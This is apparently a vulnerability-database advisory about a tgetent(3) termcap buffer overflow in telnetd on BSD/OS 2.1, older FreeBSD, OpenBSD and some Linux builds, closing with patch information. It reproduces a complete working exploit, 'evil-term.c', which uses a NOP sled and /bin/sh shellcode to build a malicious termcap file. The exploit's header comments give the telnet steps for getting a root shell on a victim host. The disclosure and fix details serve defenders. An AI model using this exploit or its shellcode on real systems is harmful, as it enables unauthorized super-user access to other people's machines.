COMMAND
in.telnetd (tgetent)
SYSTEMS AFFECTED
BSD/OS (BSDI) 2.1 of BSD/OS
FreeBSD older than 2.1.5
Linux
OpenBSD Versions of OpenBSD older than 2.0
PROBLEM
Following info is based on Secure Networks Security Advisory. A
vulnerability in the tgetent(3) library routine can result in a
buffer overflow in the telnet daemon on some BSD derived systems.
By uploading an alternate terminal capability database, an
attacker can exploit this vulnerability to gain unauthorized
super-user access to a vulnerable system, or to gain super-user
access on a system which they already have access to.
This problem can be exploited by mailing a file into the system,
or uploading a file via FTP. Once this file has been transferred
to the remote system, the attacker must only be able to connect to
the telnet daemon, to obtain super-user access.
The tgetent(3) library call requires the passing in of a buffer in
which the terminal entry is stored.
/*
* Get an entry for terminal name in buffer bp from the termcap file.
*/
int
tgetent(bp, name)
char *bp, *name;
{
The tgetent(3) library call does no checking on the size of data
which is placed into the *bp buffer. Many programs pass in a
buffer of size 1024 bytes. By creating a termcap terminal
specification larger than 1024 bytes, you can overflow a buffer in
the calling function. If this buffer is stored on the stack in
the calling function, we can cause arbitrary machine code to be
executed.
The BSD telnet daemon calls the tgetent(3) function as follows:
char buf[1024];
if (terminaltype == NULL)
return(1);
if (tgetent(buf, s) == 0)
return(0);
return(1);
By specifying a terminal capability entry which is larger than
1024 bytes, an overflow occurs in the telnet daemon, allowing
arbitrary machine instructions to be executed. In that way remote
individuals can obtain super-user access to any vulnerable system.
This vulnerability can allow remote users to obtain super-user
access on vulnerable systems, and can allow local users to obtain
super-user access.
If your telnetd is linked against GNU termcap (as opposed to
ncurses), it seems that there *is* a vulnerability; it looks like
GNU termcap doesn't check for overflow of the initial name portion
of the terminal type. ncurses doesn't touch the buffer in
question at all. Joseph_K posted a remote exploit for the BSDI
termcap buffer.
/* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c
**
** Written by Joseph_K the 22-Oct-1997
**
**
** Original shellcode by mudge@l0pht.com but modified a tiny bit...
**
** This program must be compiled for the BSDI architecture...
** You will need to transfer the file 'termcap' this program creates
** to the host you want to penetrate, possibly by anonymous FTP.
**
** Then start telnet and type:
**
** telnet> env def TERM access
** telnet> env def TERMCAP /path/and/name/of/uploaded/file
** telnet> open victim.host.com
**
** tadaa! r00t shell...
**
** However because of the invalid termcap entry, there can be some
** hazzles....You figure it out....
**
** Fy faen vad jag ar hungrig...
**
** Special Greetz to TWiLiGHT!
**
*/
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#define filename "./termcap"
#define entry "access|Gimme r00t:\\\n :"
#define bufsize 1300
#define default_offset 870 /* Should work...*/
char shellcode[] =
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";
long get_sp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(int argc, char *argv[]) {
int i, fd, offs;
long *bof_ptr;
char *ptr, *buffer, *tempbuf;
offs = default_offset;
if(argc == 2) {
printf("using offset: %d\n",atoi(argv[1]));
offs = atoi(argv[1]);
}
if(!(buffer = malloc(bufsize))) {
printf("can't allocate enough memory\n");
exit(0);
}
if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
printf("can't allocate enough memory\n");
exit(0);
}
bof_ptr = (long *)buffer;
for (i = 0; i < bufsize - 4; i += 4)
*(bof_ptr++) = get_sp() - offs;
ptr = (char *)buffer;
for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
*(ptr++) = 0x90;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
printf("Creating termcap file\n");
snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer);
fd = open(filename, O_WRONLY|O_CREAT, 0666);
write (fd, tempbuf, strlen(tempbuf));
close(fd);
}
SOLUTION
BSD/OS (BSDI)
Version 3.0 of BSD/OS is NOT vulnerable. BSDI has issued a
security fix which is currently in the testing phases and
will be availible at the following location:
ftp://ftp.bsdi.com/bsdi/patches/patches-2.1/U210-043
FreeBSD
Versions of FreeBSD newer than 2.1.5 are NOT vulnerable to
this problem. FreeBSD-current, FreeBSD 2.1.7 and FreeBSD
2.2.2 are NOT vulnerable.
OpenBSD
Versions of OpenBSD newer than 2.0 are NOT vulnerable to this
problem.